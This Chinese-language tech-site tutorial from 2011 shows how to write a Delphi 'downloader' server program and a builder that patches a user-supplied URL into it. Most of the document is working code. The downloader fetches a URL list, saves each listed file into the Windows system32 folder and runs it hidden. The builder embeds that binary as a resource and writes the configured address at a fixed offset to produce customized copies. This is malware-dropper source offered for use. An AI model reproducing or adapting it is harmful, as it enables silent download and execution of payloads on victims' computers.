知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 技术文献

服务端生成技术的思考

发布时间:2011-06-26 04:40:20作者:知识屋

最近在学习服务端文件的生成,相信有不少朋友也在学这个吧。下面就说一说个人的体会并介绍一种新的方法来生成服务端(超简单!)
好了下面开始
首先说一下服务端文件生成的思路:
1.把服务端文件编译成资源文件
2.在程序中导入资源文件并接受用户的配置信息
3.查找修改地址并写入配置信息
4.生成服务端文件

好了  过程就是这些  下面让我们来实现他吧。

首先写好我们的原始服务端  这里我们来写一个下载者为例。取名为down.exe  下面是源代码:

program down;

uses
  SysUtils,urlmon,strutils,windows;
function DownloadFile(Source, Dest: string): Boolean;
begin
  try
    Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
    except
      Result := False;
    end;
  end;

const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
var
file1:textfile;
s,a:string;
begin
downloadfile(f,'c:windowssystem32atlog.txt');
assignfile(file1,'c:windowssystem32atlog.txt');
reset(file1);
  while not eof(file1) do
    begin
    readln(file1,s);
      downloadfile(s,'c:windowssystem32'+rightstr(s,8));
      a:='c:windowssystem32'+rightstr(s,8);
        winexec(pchar(a),sw_hide);
    end;
end.


这是一个支持多文件下载的服务端  具体代码我就不分析了  大家自己理解  很简单的。。。。
要注意的是

const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';



f 是等待用户来配置的变量  我们把它定义为50个x  这样在修改时好定位  这里x的个数关系到用户能够输入信息的长度
所以要定义足够多的x啊  免得后面不够用了。
好了  把它编译为down.exe 
下面我们来找xxxxxxxxxx。的地址。



打开十六进制编辑器  搜索xxxxx 找到的那个地址就是了  我们这里是54012  (delphi2005编译)
然后新建一个文本文件  写入如下代码

downman RCDATA down.exe

保存为downman.rc  ok 下面把它编译成资源文件
brcc32.exe downman.rc
这样我们就得到了一个名为downman.res的资源文件

好  把它拷贝到我们的编程目录。
新建一个工程。
建立全局变量

const  offset_url:integer= 54012


在{$R *.dfm}下面加上{$r downman.res}  这样我们就在程序中加入了资源文件了
下面我们来看看普通的程序写法。


 
procedure TForm1.Button1Click(Sender: TObject);
var
url:string;
WriteBuff, ziyuanzhizhen: PChar;
ziyuanweizhi: HRSRC;
ziyuandaxiao, BytesWritten: Longword;
shujuchulijubing: THandle;
shenqingzhizhen: THandle;
begin
url:=trim(edit1.Text);
if url<>'' then
begin
ziyuanweizhi := FindResource(HInstance, 'downman', RT_RCDATA);
ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);
shujuchulijubing := LoadResource(HInstance, ziyuanweizhi);
ziyuanzhizhen := LockResource(shujuchulijubing);
shenqingzhizhen := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil);
Sleep(100);
SetFilePointer(shenqingzhizhen, OFFSET_url, nil, FILE_BEGIN);
WriteBuff := PChar(url + StringOfChar(#0, 50 - Length(url)));
WriteFile(shenqingzhizhen, WriteBuff^, 50, BytesWritten, nil);
CloseHandle(shenqingzhizhen);
end
else
showmessage('请输入配置文件的地址!!');
end;




代码我就不解释了  网上有好多。
是不是看的头晕晕的。呵呵  俺也一样。
下面就给大家介绍一种新方法(俺自己想的。)
首先 把资源文件提取出来并保存到流 s 里面

 
procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;

s 是一个TMEMORYSTREAM 在public  申明一下就行了

好完成第一步了 下面我们用流来检索并修改。

procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile('server1.exe');
s.Free;
end;



url  就是我们用户要输入的。  buffer 是用来填充前面说的f  (xxxxxxxx)
这样我们的服务端就生成完毕了。简单吧。

好  下面给出完整的程序供大家参考。

unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
const
offset_url:integer=54012;
type
  TForm3 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Label1: TLabel;
    procedure restostream;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    s:tmemorystream;
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}
{$r downman.res}

procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile('server1.exe');
s.Free;
end;

procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
end.
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜